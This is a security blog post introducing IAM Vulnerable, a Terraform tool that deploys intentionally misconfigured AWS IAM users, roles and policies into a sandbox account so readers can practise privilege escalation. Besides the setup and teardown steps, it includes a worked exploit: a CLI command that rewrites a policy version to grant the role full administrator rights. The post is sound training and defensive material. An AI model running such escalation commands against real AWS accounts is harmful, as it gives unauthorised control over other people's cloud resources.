If you are ever in a position where you need to assess the security of an AWS environment, one of the most important services to look at is Identity and Access Management (IAM). Some IAM misconfigurations are both very impactful and easy to identify, like users that lack MFA. However, other misconfigurations are equally impactful but considerably more difficult to identify, like which users and roles have unintended ways to gain administrative access to the AWS account. This post and its corresponding tool, IAM Vulnerable, were created to help penetration testers and security practitioners better understand how to identify and exploit common IAM misconfigurations that allow for privilege escalation.
(And don't forget to check out part 2 of my IAM Vulnerable series).
In 2018, Spencer Gietzen outlined 21 permissions, or combinations of permissions, that allow for privilege escalation. In 2019, Bishop Fox’s own Gerben Kleijn wrote an article that showed how to manually exploit each of the 21 AWS privilege escalation paths. Gerben’s research necessitated the creation of dozens of users, roles, polices, and other resources required for successful exploitation. When I dove into learning how to identify and exploit AWS IAM privilege escalation myself, I searched for an easy way to create all the vulnerable escalation paths outlined in Gerben’s blog, but couldn’t find one. Thus, IAM Vulnerable was born.
IAM Vulnerable uses the Terraform binary to deploy over 250 IAM resources into your selected AWS account so that, within minutes, you can start learning how to identify and then exploit intentionally vulnerable IAM configurations that allow for privilege escalation. The project initially started out as a Terraform implementation of Gerben’s environment; however, it has evolved to include more vulnerable configurations commonly observed during our cloud penetration tests, like assume-role chains that lead to privilege escalation and other methods that have been discovered after Spencer’s original research in 2018. At the time of release, there are 31 unique privilege escalation test cases.
I created IAM Vulnerable with only one use case in mind: automating the creation and deletion of a vulnerable IAM configuration into a sandboxed AWS account to practice exploitation. However, a second use case became apparent. With an intentionally vulnerable playground at my fingertips, I had an amazing place to test the efficacy of different assessment tools that help with identification. I’ll cover this topic in depth in the second part of this series.
The following sections provide an overview of how you can use IAM Vulnerable to get some hands-on experience identifying and exploiting IAM misconfigurations that can result in privilege escalation.
If you already have an AWS playground account, you can use that existing account. If you don’t have an account yet, create a new account to use as your vulnerable playground.
Before you deploy anything, one word of caution: I strongly recommend creating a separate account specifically for this use case, and not applying this configuration to any production account. All privilege escalation paths require authenticated access to the AWS account, so you don’t have to worry about unintended anonymous or external threats, but you still don’t want any of these paths in a production environment.
There’s one more step before you can use Terraform to create your IAM Vulnerable playground. You will need to select an AWS user or role with permission to apply the resources into your account. By design, every role that IAM Vulnerable creates for you can be assumed by the principal you use to run Terraform. However, root users can’t assume roles, so you don’t want to use the root user to deploy IAM Vulnerable. You’ll need to create a non-root user that has administrative access. Here’s a primer on how to do this via AWS documentation:
Note: You can run IAM Vulnerable using an AWS profile other than the default if you’d like. Check out the Other use cases section in the GitHub repository for guidance.
You can use aws sts get-caller-identity to verify your profile is configured properly:
aws sts get-caller-identity { "UserId": "AIDASAMPLEUSERID", "Account": "111111111111", "Arn": "arn:aws:iam:: 111111111111:user/seth" }
Once you have verified your CLI is working as expected, you are ready to install Terraform and deploy IAM Vulnerable.
To get started, you need the Terraform binary installed, your AWS client configured, and you’ll need to clone the
IAM-Vulnerable repository. The process looks something like this:
Within the IAM Vulnerable repository, you will notice multiple modules, separated into two main categories:
free-resources and non-free-resources. If you are not familiar with Terraform, think of these modules as self-contained sets of AWS resources that are spun up or torn down together.
While most of the privilege escalation paths can be exploited after deploying only the free-resources/privesc-paths module, which is enabled by default, there are a few paths that cannot be exploited unless there are other, non-free resources deployed, like EC2 instances or Lambda functions. As there is monetary cost associated with these other resources, they are not enabled by default.
The modular approach allows you to start with the free resources and then deploy the non-free resources later, by simply uncommenting the respective modules.
These next few steps will deploy the resources in the free-resources module to your AWS account:
Once you apply the configuration, the Terraform binary will authenticate with AWS using your specified profile and deploy all of the IAM Vulnerable resources from the free-resources modules to the target account. This includes roughly 30 sets of users, roles, and policies that correspond to each of the unique exploit paths to administrative access of the playground account. There is no AWS cost associated with applying these resources.
When you run terraform apply, the Terraform binary will create the resources in your AWS account, as shown in the figure below:
iam-vulnerable\# terraform apply …omitted for brevity… Plan: 255 to add, 0 to change, 0 to destroy. Do you want to perform these actions? Terraform will perform the actions described above. Only 'yes' will be accepted to approve. Enter a value: yes …omitted for brevity… module.privesc-paths.aws_iam_user.privesc-sre-user: Creating... module.privesc-paths.aws_iam_user.fp3-deny-iam-user: Creating... module.privesc-paths.aws_iam_policy.fn2-exploitableResourceConstraint: Creating... module.privesc-paths.aws_iam_user.privesc9-AttachRolePolicy-user: Creating... …omitted for brevity… Apply complete! Resources: 255 added, 0 changed, 0 destroyed.
If you’d like to remove all of the Terraform-created resources from this module, all you need is one command:
iam-vulnerable\# terraform destroy
As mentioned above, some exploit paths are not exploitable unless specific resource types are present. For example, if you have the ssm:StartSession permission and there is a EC2 instance running that has a high-privileged role attached and supports the AWS Systems Manager (SSM) agent, you can use ssm:StartSession to access the instance and privesc using highly privileged role attached to the instance. However, in order to successfully practice with this exploit path, you need an EC2 instance with a highly privileged role attached.
When you are ready to play with the exploit paths like ssm:StartSession that involve resources outside of IAM, you can deploy and tear down these resources on demand by uncommenting the module in the
iam-vulnerable/main.tf file, shown below:
module "privesc-paths" { source = "./modules/free-resources/privesc-paths" aws_assume_role_arn = (var.aws_assume_role_arn != "" ? var.aws_assume_role_arn : data.aws_caller_identity.current.arn) aws_root_user = format("arn:aws:iam::%s:root", data.aws_caller_identity.current.account_id) } # Uncomment the next four lines to create a lambda and related resources #module "lambda" { # source = "./modules/non-free-resources/lambda" # aws_assume_role_arn = (var.aws_assume_role_arn != "" ? var.aws_assume_role_arn : data.aws_caller_identity.current.arn) #} # Uncomment the next four lines to create an ec2 instance and related resources #module "ec2" { # source = "./modules/non-free-resources/ec2" # aws_assume_role_arn = (var.aws_assume_role_arn != "" ? var.aws_assume_role_arn : data.aws_caller_identity.current.arn) #}
Once you have uncommented the ec2 module, run terraform init to install the newly uncommented module and then terraform apply to deploy the resources in the new module.
iam-vulnerable\# terraform apply Plan: 2 to add, 0 to change, 0 to destroy. Do you want to perform these actions? Terraform will perform the actions described above. Only 'yes' will be accepted to approve. Enter a value: yes module.ec2.aws_security_group.allow_ssh_from_world: Creating... module.ec2.aws_security_group.allow_ssh_from_world: Creation complete after 4s [id=sg-07246081a9584fb8b] module.ec2.aws_instance.ec2: Creating... module.ec2.aws_instance.ec2: Still creating... [10s elapsed] module.ec2.aws_instance.ec2: Creation complete after 15s [id=i-0e81befb3de1233c7] Apply complete! Resources: 2 added, 0 changed, 0 destroyed.
When you are done using a non-free module, you can simply comment it back out again and run terraform apply to remove the resources:
terraform apply Plan: 0 to add, 0 to change, 2 to destroy. Do you want to perform these actions? Terraform will perform the actions described above. Only 'yes' will be accepted to approve. Enter a value: yes module.ec2.aws_instance.ec2: Destroying... [id=i-0e81befb3de1233c7] module.ec2.aws_instance.ec2: Still destroying... [id=i-0e81befb3de1233c7, 10s elapsed] module.ec2.aws_instance.ec2: Destruction complete after 1m23s module.ec2.aws_security_group.allow_ssh_from_world: Destroying... [id=sg-07246081a9584fb8b] module.ec2.aws_security_group.allow_ssh_from_world: Destruction complete after 1s Apply complete! Resources: 0 added, 0 changed, 2 destroyed.
This modular approach allows you to minimize cost by enabling each set of non-free resources as needed. I’ve included a monthly cost for each module in the IAM Vulnerable README, as well as a table that shows which exploit paths depend on additional modules.
Now that your environment is set up, you are ready to exploit things. If you are new to IAM privilege escalation, spend some time getting familiar with the types of privilege escalation paths that are possible, and the preconditions that are required. Here are some references that will be helpful:
Using the resources listed above, you are now ready to start walking through the privesc paths outlined in Gerben’s blog post. I won’t rehash all of the exploitation steps here, as Gerben’s post is just as useful today as it was in 2019. However, I will give a quick primer in how to set all of your new vulnerable roles in your credentials file so that you can easily switch between them.
First, a very brief primer on IAM users vs. roles, from a security-focused perspective. The problem with IAM users is that they can create long-lived access keys. These keys can have business-ending impact when misplaced or compromised. As you might imagine, we still find these access keys in places they don’t belong during most cloud penetration tests we perform. In short, long-lived access keys are bad. So, what’s the solution? According to AWS, you should ditch IAM users and switch to IAM roles. Roles use temporary credentials that expire, so there is much less risk around those credentials being accidently checked into Git, stored in an S3 bucket, or dropped on Pastebin. To make roles work seamlessly, your users authenticate with an SSO solution like Okta or AWS SSO, and that solution maps which IAM roles you are authorized to assume.
This is relevant because some privesc paths are only available to roles, while others are only available to users. Because of this, IAM Vulnerable creates both a role and a user for each privesc path. I recommend getting comfortable working with both types of IAM principals.
Each privesc path creates a user and a set of access keys. To find the user access credentials for the Terraform-created IAM user, look in the iam-vulnerable/terraform.tfstate file. Just find the user you’d like to use and add those credentials to a new profile in your credentials file.
"module": "module.privesc-paths", "mode": "managed", "type": "aws_iam_access_key", "name": "privesc17-EditExistingLambdaFunctionWithRole-user", "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", "instances": [ { "schema_version": 0, "attributes": { "create_date": "2021-07-20T22:53:04Z", "encrypted_secret": null, "id": "AKIA[REDACTED]", "key_fingerprint": null, "pgp_key": null, "secret": "[REDACTED]", "ses_smtp_password_v4": "[REDACTED]", "status": "Active", "user": "privesc17-EditExistingLambdaFunctionWithRole-user" }, "sensitive_attributes": [], "private": "bnVsbA==", "dependencies": [ "module.privesc-paths.aws_iam_user.privesc17-EditExistingLambdaFunctionWithRole-user" ] } ] },
Did you know that you can set up a profile for the AWS CLI that references another profile if an IAM trust exists between the two roles? When configured like this, the assumption of the target role happens transparently as long as you use the right profile name with the AWS CLI. In the repository, I’ve included a sample AWS CLI configuration file that you can use as a guide when setting this up. Here’s a snippet of the example configuration file (i.e., ~/.aws/credentials):
[default] aws_access_key_id = AKIA... aws_secret_access_key = SECRET... [privesc1] role_arn = arn:aws:iam::111111111111:role/privesc1--CreateNewPolicyVersion-role source_profile = default [privesc2] role_arn = arn:aws:iam::111111111111:role/privesc2--SetExistingDefaultPolicyVersion-role source_profile = default
In this scenario, we used the default profile to apply IAM Vulnerable modules. All you would need to do is replace the placeholder account number above with your real account number.
With the configuration shown above, if you want to run a command using the role privesc1-CreateNewPolicyVersion-role, all you need to do is use the privesc1 profile:
aws --profile privesc1 sts get-caller-identity { "UserId": "AIDASAMPLEUSERID:botocore-session-1623259974", "Account": "111111111111", "Arn": "arn:aws:sts:: 111111111111:assumed-role/privesc1-CreateNewPolicyVersion-role/botocore-session-1623259974" }
Behind the scenes, the AWS CLI used the user specified in the default profile to assume the role, privesc1-CreateNewPolicyVersion-role.
The following demonstration shows how to use the privesc1-CreateNewPolicyVersion-role to create a new policy version that grants itself admin access.
Because privesc1-CreateNewPolicyVersion-role only has permission to perform a single action to start, at first, privesc1 can’t even list IAM users:
aws --profile privesc1 iam list-users An error occurred (AccessDenied) when calling the ListUsers operation: User: arn:aws:sts::111111111111:assumed-role/privesc1-CreateNewPolicyVersion-role/botocore-session-1623259974 is not authorized to perform: iam:ListUsers on resource: arn:aws:iam::111111111111:user/
Now, let’s update that policy (remember to replace 111111111111 with your account ID):
aws --profile privesc1 iam create-policy-version \ --policy-arn arn:aws:iam::111111111111:policy/privesc1-CreateNewPolicyVersion \ --set-as-default \ --policy-document file://<(cat <<EOF { "Version": "2012-10-17", "Statement": [ { "Sid": "Admin", "Effect": "Allow", "Action": "*", "Resource": "*" }] } EOF )
Finally, let’s try to list the IAM users again, still using the privesc1-CreateNewPolicyVersion-role:
aws --profile privesc1 iam list-users { "Users": [ { "Path": "/", "UserName": "privesc-assumerole1-start-user", "UserId": "AIDASAMPLEUSERID", "Arn": "arn:aws:iam::111111111111:user/privesc-assumerole1-start-user", "CreateDate": "2021-06-04T18:46:45Z" },
Success! We just used the privesc1 profile to execute the CreatePolicyVersion privesc path and make ourselves an effective administrator.
The table below lists the 31 privilege escalation paths that IAM Vulnerable supports as of August 2021. This list includes the 21 original privesc paths identified by Spencer Gietzen and 10 additional paths I’ve added. Most of the newer paths, like SSM-SendCommand, SSM-StartSession, and CodeBuild-CreateProjectPassRole, were added to IAM Vulnerable after I noticed that Erik Steringer had added them to Principal Mapper (PMapper). Others, like EC2InstanceConnect-SendSSHPublicKey, were added based on original research.
Supported Privilege Escalation Paths |
IAM Permissions on Other Users |
IAM-CreateAccessKey |
IAM-CreateLoginProfile |
IAM-UpdateLoginProfile |
PassRole to Service |
CloudFormation-PassExistingRoleToCloudFormation |
PassExistingRoleToNewCodeBuildProject |
DataPipeline-PassExistingRoleToNewDataPipeline |
EC2-CreateInstanceWithExistingProfile |
Glue-PassExistingRoleToNewGlueDevEndpoint |
Lambda-PassExistingRoleToNewLambdaThenInvoke |
Lambda-PassRoleToNewLambdaThenTrigger |
SageMaker-CreateNotebookPassRole |
SageMaker-CreateCreateTrainingJobPassRole |
SageMaker-CreateProcessingJobPassRole |
Permissions on Policies |
IAM-AddUserToGroup |
IAM-AttachGroupPolicy |
IAM-AttachRolePolicy |
IAM-AttachUserPolicy |
IAM-CreateNewPolicyVersion |
IAM-PutGroupPolicy |
IAM-PutRolePolicy |
IAM-PutUserPolicy |
IAM-SetExistingDefaultPolicyVersion |
Privilege Escalation Using AWS Services |
EC2InstanceConnect-SendSSHPublicKey |
CloudFormation-UpdateStack |
Glue-UpdateExistingGlueDevEndpoint |
Lambda-EditExistingLambdaFunctionWithRole |
SageMakerCreatePresignedNotebookURL |
SSM-SendCommand |
SSM-StartSession |
STS-AssumeRole |
Updating an AssumeRole Policy |
IAM-UpdatingAssumeRolePolicy |
Granting IAM permissions to AWS principals that prevent unintended privilege escalation is difficult, and within the shared responsibility model, it is the AWS customer’s responsibility to manage those policies. The information security industry needs more practitioners who can identify unintended privilege escalation paths and demonstrate the impact of exploitation.
IAM Vulnerable will allow you to create a private environment where you can level up your IAM privesc skills from beginner to expert at your own pace, in your own AWS account. You can practice AWS IAM privilege escalation exploitation and test your favorite tools against it to get more comfortable with identification. You could even use it as a test bed when creating new tools or updating existing ones. I hope this project gives you the confidence and experience you’ll need to identify these types of issues in the wild and help get them fixed.
In the second part of this series, I’ll run my favorite IAM privesc assessment tools against an IAM Vulnerable created playground to see how each tool holds up, and I’ll provide an overview of each tool’s capabilities, strengths, and weaknesses
Don't miss Part 2 of my IAM Vulnerable series, where I discuss the identification aspect of IAM privilege escalation within a target account. I share my favorite IAM privesc assessment tools and conclude that while each of these tools is invaluable to a penetration tester, none of them can identify all known privesc paths while at the same time removing all false positives.